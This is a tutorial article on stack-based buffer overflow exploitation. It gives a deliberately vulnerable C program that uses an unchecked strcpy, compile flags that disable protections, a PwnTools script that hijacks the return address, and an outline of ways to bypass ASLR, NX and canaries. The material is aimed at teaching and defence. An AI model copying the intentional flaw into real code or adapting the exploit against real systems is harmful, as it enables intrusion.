Custom Exploit Development is the process of leveraging logic or memory management vulnerabilities in a software to redirect the program's execution flow as desired by the attacker. This process is vital for security researchers to test systems against weaknesses and develop appropriate patches.

In this article, we will examine the step-by-step development of an exploit using a classic Stack-Based Buffer Overflow. 🕵️‍♂️

1. 🛡️ Laboratory Environment and Preparation

Modern operating systems are equipped with protections (ASLR, DEP/NX, Stack Canaries) that make exploit development difficult. For learning purposes, it is essential to use an environment where these protections are disabled.

Tools Used:

  • Linux (Ubuntu/Kali)
  • GCC (C Compiler)
  • GDB + GEF/PEDA (Debugger extensions)
  • Python + PwnTools (For exploit scripting)

2. 🎯 The Target: Vulnerable Code

The simple C program below copies user input into a buffer without any boundary checks. This is a classic security flaw.

// vulnerable.c
#include <stdio.h>
#include <string.h>

void secret_function() {
    printf("Congratulations! You have redirected the flow and reached the secret function.\n");
}

void echo_input(char *str) {
    char buffer[64]; // A 64-byte space
    strcpy(buffer, str); // No boundary check!
    printf("Your input: %s\n", buffer);
}

int main(int argc, char *argv[]) {
    if (argc > 1) {
        echo_input(argv[1]);
    }
    return 0;
}

Compilation: (Compiling with protections disabled)

gcc -fno-stack-protector -z execstack -no-pie vulnerable.c -o vulnerable

3. 📉 Exploit Development Steps

Step 1: Crashing the Program (Fuzzing)

We know the buffer is 64 bytes. If we send more data than that, we will overwrite the EIP (Instruction Pointer), which holds the address of the next command the processor should execute.

Step 2: Finding the Offset

We need to find exactly after which character we start overwriting the EIP. We detect this by creating a unique "pattern" inside GDB.

Note: Overwriting the EIP allows us to tell the CPU exactly where to go next in the memory.

Step 3: Taking Control (EIP Overwrite)

Suppose our offset is 76. The 4 bytes following this point will be the address the processor attempts to jump to. If we write the address of secret_function there, we redirect the program flow.

4. 🐍 Writing the Exploit Script with Python (PwnTools)

Instead of manual attempts, here is an exploit script prepared using PwnTools:

from pwn import *

# 1. Define the target program
target = "./vulnerable"
elf = ELF(target)

# 2. Find the address of the secret function
secret_addr = p32(elf.symbols['secret_function'])
print(f"Secret Function Address: {hex(elf.symbols['secret_function'])}")

# 3. Payload creation
# Fill the buffer with 'A's (76-byte offset)
# Append the address we want to jump to
offset = 76
payload = b"A" * offset + secret_addr

# 4. Run the program and send the payload
p = process([target, payload])

# 5. Capture the output
print(p.recvall().decode())

5. 🛡️ Modern Protections and Bypass Techniques

The example above is a "vanilla" overflow. In the real world, you will encounter these hurdles:

  • ASLR (Address Space Layout Randomization): Memory addresses change every time the program runs. Bypass: Information Leak.
  • NX/DEP (No-Execute): Code cannot be executed on the stack. Bypass: ROP (Return Oriented Programming).
  • Stack Canaries: Random values that check if the memory is corrupted at the end of a function. Bypass: Leaking the canary or brute-forcing.

🎯 Summary: Ethical Approach

Custom exploit development is the best way to understand defensive mechanisms. Once you know how to exploit a flaw, you gain a much better understanding of how to fix it (e.g., using strncpy instead of strcpy and enabling modern compiler protections). 🔑